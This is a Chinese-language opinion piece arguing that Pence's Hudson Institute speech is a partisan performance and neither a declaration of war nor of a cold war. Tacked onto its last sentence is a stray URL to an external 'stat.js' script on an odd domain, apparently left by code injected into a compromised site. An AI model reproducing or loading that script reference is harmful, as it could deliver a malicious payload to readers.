1. 正式宣戰（to declare war）依美國憲法設計是專屬美國國會之權力，美國總統沒這權，更甭提副總統。
（美國總統有些打擦邊球的小技巧，但通常就不會這樣大喇喇地公開說了）
況且此次談話只是在一仇中聞名的智庫（Hudson Institute）發表，內容以聽眾偏好為導向，一個脫口秀節目主持人出身的副總統，談話偏激也只是預料之中。
2. 該演講內容諸多事實描述不是錯誤就是片面，其實是水準很差的演講。
例如污名化一帶一路，宣稱其將利用債務陷阱來坑騙他國，卻刻意忽略習進平於9月中非論壇上宣布：「向非洲提供600億美元無償援助、貸款、專案及投資；且免除「與中國有外交關係」的非洲窮國今年底到期的政府間未償還債務。」
幾乎內文所舉的例子都有這樣那樣的問題存在，反駁實在浪費時間。
3. 高估這場演講為「宣戰」是很愚蠢的自我欺騙。
這不過就是針對特定觀眾演出的show，跟「厲害了我的國」這部宣傳式電影本質上並無二致。
順帶嘗試將民主共和兩黨近年來各項議題累積的針鋒相對壓力，轉出口到共同假想敵中國身上。有沒有移轉成功？還看大法官人選爭議怎麼落幕。
4. 會是中美冷戰宣言嗎？更是不可能。
美蘇之間當年是幾乎無任何經貿往來，而現今美國與中國卻是高度相互經貿依賴。
如果美國政府要片面中斷所有與中國經貿關係，則將要付出巨大代價，恐怕敢這樣搞的政黨連政權都要丟了。
我依然認為我先前預測是正確：政治代價逐漸浮現，美國政客會傾向小打小鬧弄個共同假想敵方便選舉市場操作，但全面翻臉反而對整體美國利益（包含政客利益）都有損傷。
這是檯面上很明確的侷限條件。
至於中國扮黑臉有沒有好處可撈？這檯面下的侷限條件不易探查，就只能裝不知道囉。
總而言之，沒了強盜，官兵就要失業了；以「世界警察」自居從而尋租的美國政客們，當然總要「創造」出強盜來。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 